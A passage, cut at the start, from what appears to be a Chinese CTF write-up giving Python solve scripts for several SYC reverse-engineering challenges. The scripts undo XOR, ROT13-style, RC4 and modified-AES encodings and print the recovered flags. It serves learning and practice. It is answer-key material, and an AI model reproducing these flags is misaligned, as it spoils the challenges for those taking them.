      result += ((v3 >> 5) + 4) ^ (16 * v3 + 3) ^ (sum + v3);
      --v4;
    }
    while ( v4 );
'''

rainbow

c = [0x627B44508E415865,0x847D6C49547E4A57,0x4877646060955B4F,0x622D3C689F7B4D7D]

from pwn import p64

c = b''.join([p64(i) for i in c])
m1 = [(v^i)-18 if i%3==0 else v^i for i,v in enumerate(c)]
#SYC{TAke_1t_3asy_Just_a_STart!!}

小黄鸭

先反编译

a = b'~h|p4gs`gJdN`thPwR`jDn`te1w`2|RNH'[::-1]
b = []
for v in a:
    if ord('A') <= v-2 <= ord('Z'):
        c = v-2 
        if c>= ord('A')+13:
            c -= 13 
        else:
            c += 13 
        b.append(c)
    elif ord('a') <= v-2 <= ord('z'):
        c = v-2 
        if c>= ord('a')+13:
            c -= 13 
        else:
            c += 13 
        b.append(c)
    else:
        b.append(v-1)

bytes(b)
#SYCm1_h0pe_yOu_ChAse_YoUr_dr3ams}
#SYC{1_h0pe_yOu_ChAse_YoUr_dr3ams}

寻找初音未来

c = [0x3FCFE0F96C3D6F25,0x4F55BF817BC6242E,0x98B9F7484787990D,0xB2FD2384EC221BFB]
key = b'C'*0x12 
b''.join([p64(i) for i in c])

#Miku( 初音未来 )的颜色代码是39c5bb 输入跟到密钥,rc4解密
密文: '256f3d6cf9e0cf3f2e24c67b81bf554f0d99874748f7b998fb1b22ec8423fdb2'
KEY: C*18

#SYC{N0thing_1s_sEriOus_But_MIku}

浪漫至死不渝

c = [125, 130, 131, 122, 117, 110, 123, 125, 130, 131, 122, 117, 110, 123, 99, 99, 99, 99]
key = b'5201314WXHN'  #在浏览器执行decryptRailFence('53X211WH04N', 3)
a = []
for i in range(18):
    if i<14:
        a.append((c[i]-10)^key[i%7])
    else:
        a.append((c[i]-99)^key[i-7])
bytes(a)
#FJIAXUEFJIAXUEWXHN
#SYC{FJIAXUEFJIAXUEWXHN}   

yakvm 未完成

AES! AES?

key = bytes.fromhex('75697F798369796E')[::-1]+bytes.fromhex('494D635D69817879')[::-1]
key = bytes([v-10 for v in key])
S = open("what's_this.exe",'rb').read()[0x2c20: 0x2c20+256]
c = [224, 5, 110, 194, 110, 153, 104, 69, 125, 31, 63, 249, 151, 118, 59, 146, 47, 68, 6, 103, 168, 235, 236, 74, 111, 232, 53, 249, 172, 167, 140, 113]

v18 = [0]*192
for i in range(16):
    v18[i] = key[i]
for n in range(1, 11):
    for j in range(32):
        v18[n*16+j] = v18[(n-1)*16 + j]^ S[v18[16 * n - 16 + j]]

'''
  for ( i1 = 0; i1 <= 15; ++i1 )
  {
    v5[i1] ^= v18[16 * kk + i1];
    v5[i1 + 16] ^= v18[16 * kk + i1];
  }
'''
kk = 1
for i in range(16):
    c[i] ^= v18[16*kk + i]
    c[i+16] ^= v18[16*kk + i]

def rshiftrow(a):
    a1 = a[:4]
    a2 = a[4:8]
    a3 = a[8:12]
    a4 = a[12:16]
    a2 = a2[-1:]+a2[:-1]
    a3 = a3[-2:]+a3[:-2]
    a4 = a4[-3:]+a4[:-3]
    return a1+a2+a3+a4 

def transform(a):
    b = [0]*16
    for i in range(4):
        for j in range(4):
            b[i*4+j] = a[j*4+i]
    return [S.index(v) for v in b]

c = rshiftrow(c[:16]) + rshiftrow(c[16:])

'''
  for ( kk = 0; kk <= 0; ++kk )
  {
    ShiftRow(v5);
    ShiftRow(v6);
    tansform(v5);
    tansform(v6);
    for ( mm = 0; mm <= 15; ++mm )
    {
      v5[mm] ^= v18[16 * kk + mm];
      v5[mm + 16] ^= v18[16 * kk + mm];
    }
    for ( nn = 0; nn < v22; ++nn )
      v5[nn] = S[v5[nn]];
  }
'''

c = [S.index(i) for i in c]
for i in range(16):
    c[i] ^= v18[i]
    c[i+16] ^= v18[i]

c = transform(c[:16]) + transform(c[16:])
c = rshiftrow(c[:16]) + rshiftrow(c[16:])
m = [S.index(i) for i in c]

print(bytes(m))
#SYC{0.o_Thls_1s_n0t_A3s_(q^_^p)}

ezandroid 未完成 

是男人就来扎针

m1 = [75,109,102,63,107,112,63,108,124,112,109,122,63,43,47,63,111,112,118,113,107,108,62]
m2 = [124,90,81,8,92,71,8,90,77,73,75,64,8,25,24,24,8,88,71,65,70,92,91,9]

for i in range(128):
    i
    xor(bytes(m1), bytes([i]))
    xor(bytes(m2), bytes([i]))

31
b'Try to score 40 points!'
b'cEN\x17CX\x17ERVT_\x17\x06\x07\x07\x17GX^YCD\x16'
40
b'cEN\x17CX\x17DTXER\x17\x03\x07\x17GX^YCD\x16'
b'Try to reach 100 points!'

SYC{Try to score 40 points!Try to reach 100 points!}
md5(b'Try to score 40 points!').hexdigest()
CBDDD133B60130856D3C695D9E5ED6A5
SYC{CBDDD133B60130856D3C695D9E5ED6A5}

babycode

c = [120,91,86,122,93,84,37,49,32,104,61,100,-110,118,99,123,89,87,33,-124,87,118,-121,114,-124,-123,112,-98,79,112,114,-124,87,-120]
c = [i&0xff for i in c]
tab = b'i5jLW7S0GX6uf1cv3ny4q8es2Q+bdkYgKOIT/tAxUrFlVPzhmow9BHCMDpEaJRZN'
key = list(b'fuwafuwa')

k = ''
for i in range(len(c)):
    for j in range(256):
        v = ((j+i)&0xff)^(key[i%4]%32 +1)
        if v ==c[i]:
            k +=chr(j) 
            break 
    else:
        print(i,j,'err')
    for v in range(8):
        if 97<=key[v]<=122:
            key[v] = (key[v]-97 + i)%26 + 97
        elif 65<=key[v]<=90:
            key[v] = (key[v]-65 + i)%26 + 65
    key = key[::-1]

for i in range(128):
    t = bytes([j^i for j in k.encode()])
    if all([1 if j in tab else 0 for j in t]):
        print(t)

c2 = 'jWXxYB794B7vntOq+W7jQBiDnetz+tPt+x'

你可能感兴趣的:(python,开发语言)